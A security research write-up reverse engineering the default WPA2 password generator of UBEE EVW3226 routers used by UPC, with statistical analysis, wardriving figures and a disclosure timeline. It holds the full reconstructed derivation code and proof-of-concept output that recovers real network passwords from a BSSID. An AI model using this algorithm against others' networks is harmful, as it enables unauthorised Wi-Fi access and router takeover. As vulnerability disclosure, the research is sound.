There are obviously 3 nice looking candidates to inspect further: libUtility.so, aimDaemon, setup.cgi. You can also find those attached to the article. Running strings at those files reveals a lot of interesting stuff. Even bizarre - more on that later.

Setup.cgi - it is the main script that handles changes in the router admin user interface (www, cgi). Lets look at it with IDA Pro. The function list got my attention:

Symbols were not removed, which makes analysis substantially easier (child play even). GWDB_UBEE_DEFAULT_SSID_SET looks promising. Function graph calling this looks like this:

So sub_17CF0 could be some kind of factory reset / apply settings routine. Which indeed is, as function inspection shown. I recommend going through the whole routine to get impression how that works in detail. Basically, it sets MAC addresses, generates SSIDs, passwords, sets up the firewall and parental control, some settings are stored to /nvram/*.

These chunks are particularly interesting to me:

BTW just a side note, the programmer of this router is probably the kind of guy who presses CTRL+C multiple times when copying something, just to be sure it really did copy to clipboard:

So GenUPCDefaultPassPhrase is our target. This one is not directly in the setup.cgi file but it is an imported function. Simple search gives where else this symbol is mentioned:

find . -type f -exec grep -il 'GenUPCDefaultPassPhrase' {} \;
./fss/gw/lib/libUtility.so

The file libUtility.so also has symbols in it. Finding the generation function and reversing it was quite simple. I had quite funny moments when reversing the function so I recommend to go through it. I minimize the level of boring details. Attached assembly snippets are just for illustrative purposes, no need to study it in depth…

GenUPCDefaultPassPhrase

The GenUPCDefaultPassPhrase function intro looks like this:

Function intro

The function does some initialization in the beginning, local variable setting and so on. A few instructions later, it reads a file /nvram/1/1.

NVRAM read

Depending on the mode input parameter (binary flag determining band, 2.4 or 5 GHz), it reads 6 bytes, either from offset 0x20 or 0x32 from the beginning of the file /nvram/1/1. 6 bytes suggests it is MAC address of the device. You don’t have to be genius to guess that, look at the function j_increaseMACAddress - which increments MAC address by 1. Luckily, this is the only input the function takes to generate WPA2 passwords! It means one can generate the exact password, without need to guess the candidate ones (as Blasty found for another model).

We later discovered the MAC address used as function input is not exactly the BSSID (= MAC of the WiFi interface). For 2.4GHz network it is numerically smaller by 3. So if BSSID ends on 0xf9, the MAC used for computation is 0xf6 for 2.4GHz network.

Actually when you do hexdump -C nvram/1/1,
you can spot something that resembles a MAC address on positions 0x20 and 0x32 . Actually the first 3-5 bytes are same as MACs printed on the label on the router.

MAC input

The MAC address is then plugged to the weird looking magic string. It does:

sprintf(buff1, "%2X%2X%2X%2X%2X%2X555043444541554C5450415353504852415345",
  mac[0], mac[1],
  mac[2], mac[3],
  mac[4], mac[5]);

It seems like there is a MAC used to derive multiple different outputs (SSID, PASSPHRASE) in the code, so to differentiate it for different uses, a different suffix is added to it. In fact, converted to ASCII it says UPCDEAULTPASSPHRASE.

Sprintf magic string

This resulting string got MD5 hashed:

MD5 Hashing

Just in case the hashed string had too much entropy, guys decided to do another sprintf, but cutting it down using 3 bytes of entropy at maximum (buff2 contains the MD5 hash):

sprintf(buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
  buff2[0]&0xF, buff2[1]&0xF,
  buff2[2]&0xF, buff2[3]&0xF,
  buff2[4]&0xF, buff2[5]&0xF);

Sprintf

When adding more hashing harmed somebody… So hash it again, so it is really secure:

MD5 hashing

Later things got interesting as well. The following function is doing modulo 0x1a = 26. That is the length of English alphabet. Somebody is trying to beat [A-Z]{8} string out of it - which is good for us as UPC password is exactly of this format.

So far the WPA2 default password derivation function is basically like this:

// 1. MAC + hex(UPCDEAULTPASSPHRASE)
sprintf(buff1, "%2X%2X%2X%2X%2X%2X555043444541554C5450415353504852415345",
  mac[0], mac[1],
  mac[2], mac[3],
  mac[4], mac[5]);

// 2. MD5 hash the string
MD5_Init(&ctx);
MD5_Update(&ctx, buff1, strlen((char*)buff1)+1);
MD5_Final(buff2, &ctx);

// 3. Take 3B of the result, build a new string
sprintf(buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
  buff2[0]&0xF, buff2[1]&0xF,
  buff2[2]&0xF, buff2[3]&0xF,
  buff2[4]&0xF, buff2[5]&0xF);

// 4. MD5 hash the string
MD5_Init(&ctx);
MD5_Update(&ctx, buff3, strlen((char*)buff3)+1);
MD5_Final(hash_buff, &ctx);

// 5. Projection to 26char alphabet
sprintf(passwd, "%c%c%c%c%c%c%c%c",
        0x41u + ((hash_buff[0]+hash_buff[8]) % 0x1Au),
        0x41u + ((hash_buff[1]+hash_buff[9]) % 0x1Au),
        0x41u + ((hash_buff[2]+hash_buff[10]) % 0x1Au),
        0x41u + ((hash_buff[3]+hash_buff[11]) % 0x1Au),
        0x41u + ((hash_buff[4]+hash_buff[12]) % 0x1Au),
        0x41u + ((hash_buff[5]+hash_buff[13]) % 0x1Au),
        0x41u + ((hash_buff[6]+hash_buff[14]) % 0x1Au),
        0x41u + ((hash_buff[7]+hash_buff[15]) % 0x1Au));

Statistical analysis

The way the projection to 26 character alphabet ( last sprintf ) is made is interesting, let’s stop here a bit. The programmer does byte addition here, modulo 26. On the first reading this might seem weird, why didn’t he just do

0x41u + (hash_buff[0] % 0x1Au) // PAlt1

0x41u + ((hash_buff[0]^hash_buff[8]) % 0x1Au) // PAlt2

Technical note: input bytes come from MD5 cryptographic hash function so basically we can assume the distribution on these MD5 output bytes is uniform assuming the MD5 input is non-random/non-repeating.

The choice of addition is very clever because the output distribution on the alphabet is almost uniform. The naive approaches of mentioned projections PAlt1, PAlt2 seemingly give non-uniform distribution for $ \{22, 23, 24, 25 \} $ as $ 255 \; \% \; 26 = 21 $ as the following histograms illustrate:

For the sake of this statistical analysis we analyzed $ 2^{24} $ passwords generated by going through all MAC addresses with 3B static prefix 64:7c:34 = UBEE vendor prefix. The measured distribution of [A-Z] characters on generated passwords is depicted in the following histogram.

There is a peak around V very similar to the distribution generated by $ (A + B)\; \% \; 26 $. In order to check how good the function is (i.e., how random) and to verify the hypothesis about the peak we perform a simple statistical test on distribution of the characters over passwords.

The following table shows the alphabet character counts on computed password sample. Each character is counted with respect to particular position of occurrence in password and in total (summed over all positions).

Char	1 pos	2 pos	3 pos	4 pos	5 pos	6 pos	7 pos	8 pos	Total
A	644778	644428	646398	644673	645774	645233	644624	645889	5161797
B	645030	644096	644019	644545	647749	645814	645146	644128	5160527
C	645417	646058	645627	644519	645682	645301	645349	645314	5163267
D	643115	645817	644916	644761	647198	646917	644382	645460	5162566
E	645279	645777	645389	642635	643562	645356	645430	645053	5158481
F	645155	644792	644251	646556	645273	643350	644826	644891	5159094
G	645048	643635	644765	645550	646089	645319	644699	645304	5160409
H	647690	645077	646506	645264	643111	646623	644634	646248	5165153
I	645447	643738	644156	646231	643799	643904	646028	645191	5158494
J	646173	647567	644446	646871	643707	643784	644831	645184	5162563
K	646081	644194	645332	645956	643045	645426	645604	644482	5160120
L	646300	647688	643770	647416	647079	643306	646640	644420	5166619
M	645722	644721	645900	646626	642120	647041	644419	645598	5162147
N	643346	642926	647641	645527	645881	646807	644758	645506	5162392
O	644288	647278	643665	643211	643123	644586	643429	645178	5154758
P	645725	644212	645598	644131	645169	643481	644561	645659	5158536
Q	646319	645548	645540	644635	646609	645556	646083	644238	5164528
R	646186	646918	646082	645293	644315	644532	643100	645163	5161589
S	645031	644356	644010	646061	644305	645367	646671	645296	5161097
T	644615	645493	646729	643215	646369	646701	646930	645168	5165220
U	645821	643468	646697	648493	645028	644295	646569	646925	5167296
V	645032	646976	646428	646303	646255	646786	646234	644715	5168729
W	644853	646818	645351	647347	648049	643937	645605	646118	5168078
X	644808	645319	645935	642205	647130	646064	644734	645271	5161466
Y	643755	646243	644738	644890	644328	646601	644214	645187	5159956
Z	646202	644073	643327	644302	646467	645129	647716	645630	5162846

We see that the number of occurrences is pretty much balanced around a mean value 645277. There are also values that are more or less distant from this mean. The question is whether this balance is just a statistical fluctuation or it is really a significant bias from the distribution we expect.

With hypothesis testing framework we can say whether this bias is statistically significant or not. The null hypothesis we are going to test against is $ H_0: $ the distribution of characters from the alphabet is uniform over characters. The alternative hypothesis is the distribution is not uniform. If our test rejects null hypothesis we know there is a bias. If we cannot reject the null hypothesis, we assume it still holds, but it does not mean the hypothesis is proven.

Without loss of generality, consider the first character position of the password. We want to test whether character A has expected probability of appearance. Expected probability is $ {1}/{26} $. We have $ 2^{24} $ samples from the distribution on the first character.

There are several ways of testing the uniformity of a random number generator. For more complex methods please refer to [1] or [2]. We are going to use a simple method, to demonstrate the approach.

Assuming $ H_0 $ holds the distribution follows Binomial Distribution where number of trials $n = 2^{24} $, probability of success $ p = 1/26 $ (success is if character A is generated). The expected number of success events is then $ np = 2^{24} / 26 = 645277.54 $. Moreover, from the Central Limit Theorem this distribution can be approximated with Normal distribution as the number of samples is big enough, thus it is a good approximation.

Basic of hypothesis testing is very well explained in this article. We define $ \alpha = 0.01 $ so the level of confidence the null hypothesis is false is 99%.

Under assumption of null hypothesis the distribution of A characters on the first character should follow Normal Distribution with given mean. With 99% confidence level we can reject the null hypothesis if observed probability lies outside 99% of the area of the normal curve, it approximately corresponds to distance 2.58 standard deviations from mean:

Normal curve

Note: The distance from the mean in terms of standard deviations is called Z-score.

We performed the hypothesis testing for each character on each position and on overall statistics. Hypothesis about uniformity on given character on given password position is rejected with 99% confidence level if the cell is dark red, 95% confidence if the cell is bright red.

From the table above we see there are biases on both particular positions and in total. For example, character W is biased on password positions 4 and 5 and in overall statistics (pos 1-8). On contrary we cannot reject null hypothesis for character A.

It would not be fair to test uniformity hypothesis as the output transformation on the password (last sprintf, step 5) has a slight bias. Example:

Char	Uniform distribution	Real distribution
O	$ \frac{1}{26} = 0.03846 $	$ \frac{2520}{65536} = 0.03845 $
V	$ \frac{1}{26} = 0.03846 $	$ \frac{2524}{65536} = 0.03851 $

When we change null hypothesis so the expected character distribution is not uniform but distribution generated by function $ (A + B)\; \% \; 26 $ we get:

When taking generator biases into account we now see that null hypothesis cannot be rejected for V, W while in the previous test we rejected it. The only one character the null hypothesis we can reject for in overall statistics is O.

Interestingly, if we would use second sprintf function in step 3 in a slightly more reasonable way:

// old function - broken, low entropy...
sprintf((char*)buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
    buff2[0]&0xF, buff2[1]&0xF,
    buff2[2]&0xF, buff2[3]&0xF,
    buff2[4]&0xF, buff2[5]&0xF);

// Instead of that do this
sprintf((char*)buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
    buff2[0], buff2[1],
    buff2[2], buff2[3],
    buff2[4], buff2[5]);

We would obtain the following table for hypothesis rejection:

We see this function has better statistical properties. But note it is still not optimal as we are throwing out the majority of the MD5 output. We can do it even better.

Last we analyze the function that completely skips steps 3 & 4, so it performs only one MD5 hashing.

From the results we conclude that from mathematical/statistical point of view the simpler function has significantly better statistical properties compared to function with some “obfuscation” steps. MD5 itself is quite good crypto hash function thus I cannot see any benefit from step 3, 4 in the original password function. Authors maybe tried to make it hard to guess derivation function or relation of MAC address to default password so they added this additional step. If this is the case, it is implemented in the wrong way and pretty much without desired effect. Unless authors had some other design goals that we are not aware of.

Reversing part 2

So I went through the analysis and the next thing completely blew my mind:

You cannot miss the “cocks” right in front of you. So there is a profanities_ptr which points to the database of rude words…

Profanity analysis

From curiosity I went through the database. Here is the small sample:

So the UPC default password generation does apply some obscure hashing function, generates [A-Z]{8} string from it and then checks if by any chance some of the rude words is not a substring of the generated password. Of course, this is a production problem, who wants to deal with an angry customer calling your help desk complaining the default password on his router is MILFPIMP or ANALBLOW, right?

In case the generated password contains this profanity in it, UBEE engineers added a special, non-insulting alphabet for help. The alphabet is visible in the beginning of the analyzed function: BBCDFFGHJJKLMNPQRSTVVWXYZZ, the classic one with almost all vowels removed. I did a quick search and truly, there cannot be made a rude word from UBEE profanity database with this alphabet.

The weird thing about profanity database is there are some of the entries present multiple times, with varying case. I was wondering why somebody didn’t convert it all to uppercase and removed duplicates at the first place. Instead of that, UBEE router converts it to uppercase and goes through them incrementally when generating a random password. Useless CPU cycles… (how many CO emissions could have been saved generating it wisely?). Another thing, the database contains a word “PROSTITUTE” which is made of 10 characters, but there is no chance the password would match this.

Another optimization would be to remove profanities that are substrings of other profanities. E.g., “COCK”, “COCKS”, “COCKY”, “ACOCK”. Basically this is the whole WPA2 password generation routine.

So to have a bit more fun, we generated a SQLite database for all MAC addresses starting on 64:7c:34 = UBEE vendor prefix, what is $ 2^{24} $ = 16777216 passwords. This is quite a number so the profanity detection was optimized by building Aho-Corasick search automaton, initialized with all profanities from the UBEE database (very rude automaton indeed). If the profanity was detected as a substring, we also generated a new password from non-insulting alphabet.

From 16777216 passwords in total, 32105 contained at least one profanity in it, in particular it happened in 0.19% cases. Thus in 1000 generated password there are almost 2 containing a profanity. It is more than I intuitively expected.

Table of profanity occurrences with respect to length:

# of characters	Profanity occurrences
3	23090
4	6014
5	3001

There were just 4 distinct 3 character profanities. The histogram:

4 character profanity distribution (33 distinct):

Word	Occurences	Word	Occurences	Word	Occurences
BUTT	233	HOLE	191	MILF	172
BLOW	209	HATE	190	CUNT	166
AIDS	205	DUMB	189	SMUT	166
DIRT	205	SHIT	189	PORN	165
SEAM	203	FUCK	183	SUCK	165
SLUT	201	LICK	181	DOPE	162
JAIL	196	DICK	178	ANAL	161
COON	195	ABBO	177	PISS	160
GIMP	194	BALL	177	HEAD	155
BOYS	192	CRAP	177	COCK	154
TITS	192	TURD	177	PIMP	154

5 character profanity distribution (including only the most popular ones, in total 517 distinct):

Word	Occurences	Word	Occurences
HAETS	19	FECES	16
TUBAS	19	NATAL	16
BABES	17	SKIRT	16
MICHE	17	WINEY	16
WOADS	17	ERECT	15

Thats all from the profanity analysis of the password function. We also wanted to test hypothesis whether this particular function generates more profanities (from UBEE database) than random function would. In that case it would be rude-password-function. But due to time constraints we leave this to our readers.

Conclusion

We managed to reverse engineer both the default WiFi WPA2 password generator function and default SSID generator functions from router UBEE EVW3226. It works for WiFi networks with SSID of the form UPC1234567 (7 digits).

The only input of the functions is the MAC address of the device. This MAC address does not exactly match BSSID, but is slightly shifted. The shift is constant for all routers with this firmware. Moreover the shift depends on mode which is a binary flag saying the computation is made for 2.45GHz or 5GHz WiFi mode.

The exact value of the shift does not matter that much as the computation for one single MAC address is very fast and both SSID and WPA2 password generator uses the same mechanism to generate input MAC used in computation (same function inputs).

Thus if we take WiFi BSSID and compute mapping $ M = \{ $ SSID $ \rightarrow $ WPA2 $ \} $ for $ \pm $ 10 MAC around BSSID we can then surely find observed SSID in $ M $ and corresponding default WPA2 password.

We experimentally determined the shifts used. We observed BSSID is same for 2.4 GHz and 5 GHz networks, it does not get changed by changing the frequency. Furthermore, WiFi BSSID corresponds to MTA MAC address (printed on the router label) + 3. Table below illustrates how BSSID and function input MAC address relates:

Band	BSSID	Function input MAC	Offset	SSID	Password
2.4 GHz	64:7c:34:12:34:56	64:7c:34:12:34:53	-3	UPC2659797	IVGDQAMI
5.0 GHz	64:7c:34:12:34:56	64:7c:34:12:34:55	-1	UPC2870546	PXKRLPCC

This is how router label looks like for our example:

Our proof-of-concept generates the following output after entering the last 3 bytes of BSSID. Password for 2.4GHz and 5.0GHz network is highlighted, others are printed just for illustration.

./ubee_keys 123456

================================================================================
 upc_ubee_keys // WPA2 passphrase recovery tool for UPC%07d UBEE EVW3226 devices 
================================================================================
by ph4r05, miroc

  your-BSSID: 647C34123456, SSID: UPC3910551, PASS: HAYQQHCS

  near-BSSID: 647C34123451, SSID: UPC0595666, PASS: NRFJHXDX 
  near-BSSID: 647C34123452, SSID: UPC5434630, PASS: UTVBNYJP 
  near-BSSID: 647C34123453, SSID: UPC2659797, PASS: IVGDQAMI  <-- 2.4 Ghz
  near-BSSID: 647C34123454, SSID: UPC2152244, PASS: ZVESFKYD 
  near-BSSID: 647C34123455, SSID: UPC2870546, PASS: PXKRLPCC  <-- 5.0 GHz
  near-BSSID: 647C34123456, SSID: UPC3910551, PASS: HAYQQHCS 
  near-BSSID: 647C34123457, SSID: UPC8366197, PASS: CIIMMAYX

Or try our online service ubee.deadcode.me which uses pre-generated password database to lookup passwords matching given SSID.

Concluding this attack, any user of UBEE EVW3226 with affected router version should stop using this modem, change it for different one or configure properly. Our attack combined with this Security Advisory can lead to complete take over of the router. Attacker can install malware to the router, spy on your traffic, attack another nodes in network or build botnet from the routers.

Our UBEE password generator combined with generator from Blasty can crack majority of UPC networks with SSID UPC1234567 (7 digits).

Wardriving

And now the funny part. To face our results with the reality, we did a small wardriving test. To those who do not know the term, it is an act of searching for available WiFi networks in a specific area, usually from a car.

We are based in Brno, which is the second largest city of the Czech Republic. It has population about 400 000 people, lots of them concentrated in city blocks where people are living in tower buildings built during the communist era (known as “panelaky”). This proved to be a good target since there are plenty of WiFis to be caught.

Our setup was simple - Linux laptop having external WiFi card (TP-LINK TL-WN722N) with Kismet and Motorola Moto G Android phone with WiGLE Wifi application. Long story short - surprisingly the Android phone did a better job and found twice as many networks as the elaborate PC setup. Therefore the further data is mostly from the Android device.

We did a 3 hours long drive from which the main results are:

We caught 17 516 unique networks (unique BSSIDs).
2834 were networks with SSID matching ^UPC[0-9]{6,9}$ regular expression, these are WLANs possibly vulnerable to the both attacks combined.
443 of them are having BSSID 64:7c:34 prefix, these are UPC UBEE devices possibly vulnerable to our new attack (to confirm that, we generated SSIDs from the BSSIDs using our method and compared them with the real SSIDs - all of them matched). Estimately 15.6% of all UPC routers are the new UPC UBEE routers.
There were additional 97 networks having BSSID 64:7c:34 prefix, but not matching UPC SSID naming convention. Administrators of these WLANs had changed SSID and most likely also default passwords. It’s about 18% of all UBC UBEE routers.
In summary, UPC is fairly widespread here in Brno, having an estimated market share about 16.73%. We are possibly able to crack every 6th WiFI network, considering users do not change their default passwords very often.

The test was done in February 2016, but we still expect a lot of UPC routers with default credentials to be out there.

wifileaks.cz

There is a great project, wifileaks.cz mapping WiFi networks in the Czech Republic. Author of the project was so kind to provide current WiFi database for testing.

With help of wifileaks.cz we were able to make more accurate statistics on vulnerable networks in Czech Republic.

Statistic (col)	1970-2016	2014-2016	2015-2016	2016
# of records	2 198 086	1 058 797	763 430	340 409
`^UPC[0-9]{6,9}`	82 658 (3.76%)	62 247 (5.88%)	49 010 (6.42%)	22 324 (6.56%)
`^UPC[0-9]{6}`	35 895	17 221	11 480	4 707
`^UPC[0-9]{7}`	43 147	41 422	33 965	14 856
`^UPC[0-9]{8}`	8	8	5	2
`^UPC[0-9]{9}`	3 608	3 596	3 560	2 759
UBEE prefix	9 271	9 268	9 036	4 809
UBEE changed SSID	1 572 (16.97%)	1 571 (16.95%)	1 479 (16.37%)	743 (15.45%)
UBEE vulnerable	7 689	7 687	7 549	4 061
UBEE 2.4 GHz	7 675	7 673	7 535	4 056
UBEE 5.0 GHz	14	14	14	5
UBEE no-match SSID	10	10	8	5

We took different time periods from the wifileaks.cz database because the affected router appeared on the market mainly in 2015 and to demonstrate how situation progressed over time. For example in 2016:

There are 22 324 (6.56%) UPC WiFi networks.
In total, there are 4 809 UBEE devices (both with UPC name and with changed SSID).
743 UBEE devices have different SSID - user probably changed it (15.45%).
Our algorithm worked for 4 061 UBEE devices with UPC SSID (99.88%).
5 UBEE devices with UPC SSID did not match our SSID prediction (0.12%). The reason: 4 of them have 6 digits and 1 has 8 digits in SSID.
5 UBEE devices with UPC SSID that matched had MAC offset -1, thus it was working in 5GHz band.
2 759 UPC devices had UPC123456789 (9 digits) SSID. As far as we know, Blasty’s and UBEE generator does not work for these (same for 6 and 8 digits).

Other prefixes

Using wifileaks.cz database we tested this hypothesis: is SSID generator working also for other MAC addresses, besides those starting with UBEE prefix 64:7c:34 ?

The answer is NO. We re-implemented SSID generation routine in Python, run it for all UPC WiFi records in the database and only MAC addresses starting with 64:7c:34 prefix are vulnerable to this attack.

Here is the table of top 10 most used MAC prefixes for UPC WiFi SSIDs in wifileaks.cz dataset for 2016 group. In our manual testing we haven’t found WiFi that would resist attack of Blasty and our algorithm combined. We thus assume the combined approach works on majority of UPC WiFis matching regex ^UPC[0-9]{7} (7 digits). This assumption is supported also by our Android apps users reviews.

MAC prefix	Vendor	Occurrences	Blasty works	UBEE works
`88:f7:c7`	Technicolor	4684	Probably yes	No
`64:7c:34`	Ubee	4066	No	Yes
`e8:40:f2`	Pegatron	2541	Probably no	No
`c4:27:95`	Technicolor	2244	Probably yes	No
`58:23:8c`	Technicolor	1995	Probably yes	No
`44:32:c8`	Technicolor	904	Probably yes	No
`70:54:d2`	Pegatron	834	Probably no	No
`34:7a:60`	Arsis	732	Probably no	No
`38:60:77`	Pegatron	664	Probably no	No
`a0:c5:62`	Arsis	587	Probably no	No
Rest	-	3073	Unknown	No

Top 10 MAC prefixes for UPC SSIDs. macvendors.com was used to resolve MAC prefix to the vendor name.

MAC prefix	6 digits	7 digits	8 digits	9 digits
`88:f7:c7`	2	4682	0	0
`64:7c:34`	2	4063	1	0
`e8:40:f2`	2541	0	0	0
`c4:27:95`	0	2244	0	0
`58:23:8c`	0	1995	0	0
`44:32:c8`	0	904	0	0
`70:54:d2`	834	0	0	0
`34:7a:60`	0	0	0	732
`38:60:77`	664	0	0	0
`a0:c5:62`	0	0	0	587

MAC prefix with respect to the number of digits in the UPC SSID.

The UPC SSID digit distribution:

6 digits: Pegatron
7 digits: UBEE, Technicolor
8 digits: anomaly (units)
9 digits: Arsis

As you can see, prefix e8:40:f2 is used only with 6 digits SSIDs, these router types are probably not affected nor by Blasty generator, neither by UBEE generator (Pegatron router). On the other hand others in TOP 10 list (UBEE, Technicolor) with 7 digits SSID are affected with high probability.

If you happen to try Blasty attack on devices with these prefixes please report us the state to our e-mail (page footer), we will update statistics. Thanks a lot!

Android Apps

RouterKeygen

To enable users to test their default UPC WiFi keys from their Android phones, we added support to RouterKeygen (sources) application for our algorithm (and to Blasty’s algorithm as well). RouterKeygen scans nearby WiFi networks, detects any UPC routers and automatically generates and tests candidate keys.

UPC Keygen

UPC Keygen (sources) is a lightweight alternative for RouterKeygen that requires no Android permissions. It allows users to manually enter UPC SSID and calculate candidate keys using Blasty’s original algorithm. UBEE algorithm is computed for manual BSSID entry. For now we do not support generating UBEE from SSID as it would require $ 2 \times 2^{24} $ MD5 evaluations (slow).

Both applications are available at the Google Play Store here and here.

Sources

yolosec/upcgen Proof-of-concept WPA2 password generator repo (C, Python)
ubee.deadcode.me SSID $ \rightarrow $ Password recovery web service
Router Keygen Android app
yolosec/routerkeygenAndroid Router Keygen sources
UPC Keygen Android app
yolosec/upcKeygen UPC keygen sources
UBEE Security Advisory - interesting UBEE vulnerabilities (discovered by others).
Our PDF presentation on the UPC hack + wardriving

Responsible Disclosure

27. Jan 2016: Start of the analysis.
04. Feb 2016: Official disclosure to Liberty Global.
04. May 2016: Check with Liberty Global on state of the fix.
28. Jun 2016: Sending this article for review to Liberty Global.
04. Jul 2016: Publication of this article.

UPC solution

Currently, devices are still vulnerable (11-Jul-2016). Liberty Global (UPC) confirmed they are working on the fix. Allegedly, it will be in a form of a firmware upgrade pushed to all routers automatically. After upgrade, router will redirect user to the “captive portal” (behaviour similar to hotel/airport WiFis on the first connect) asking user to change the default password.

Char	Uniform distribution	Real distribution
O	\( \frac{1}{26} = 0.03846 \)	\( \frac{2520}{65536} = 0.03845 \)
V	\( \frac{1}{26} = 0.03846 \)	\( \frac{2524}{65536} = 0.03851 \)